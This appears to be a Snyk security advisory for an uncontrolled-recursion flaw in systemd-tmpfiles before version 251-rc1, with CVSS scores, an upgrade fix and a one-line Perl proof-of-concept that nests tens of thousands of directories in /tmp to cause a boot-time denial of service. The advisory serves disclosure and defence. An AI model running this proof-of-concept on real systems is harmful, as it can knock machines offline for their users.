Uncontrolled Recursion Affecting systemd/systemd package, versions [,251-rc1)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.06% (25th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-UNMANAGED-SYSTEMDSYSTEMD-2990192
  • published 24 Aug 2022
  • disclosed 24 Aug 2022
  • credit Qualys Research Labs

How to fix?

Upgrade systemd/systemd to version 251-rc1 or higher.

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via the systemd-tmpfiles component, leading to a denial of service at boot time when too many nested directories are created in /tmp.

PoC:

bash $ cd /tmp $ perl -e 'use strict; for (my $i = 0; $i < (1<<15); $i++) { mkdir "A", 0700 or die; chdir "A" or die; }'

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
5.5 medium
  • Attack Vector (AV)
    Local
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    None
  • Availability (A)
    High
Expand this section

NVD

5.5 medium
Expand this section

SUSE

5.5 medium
Expand this section

Red Hat

5.5 medium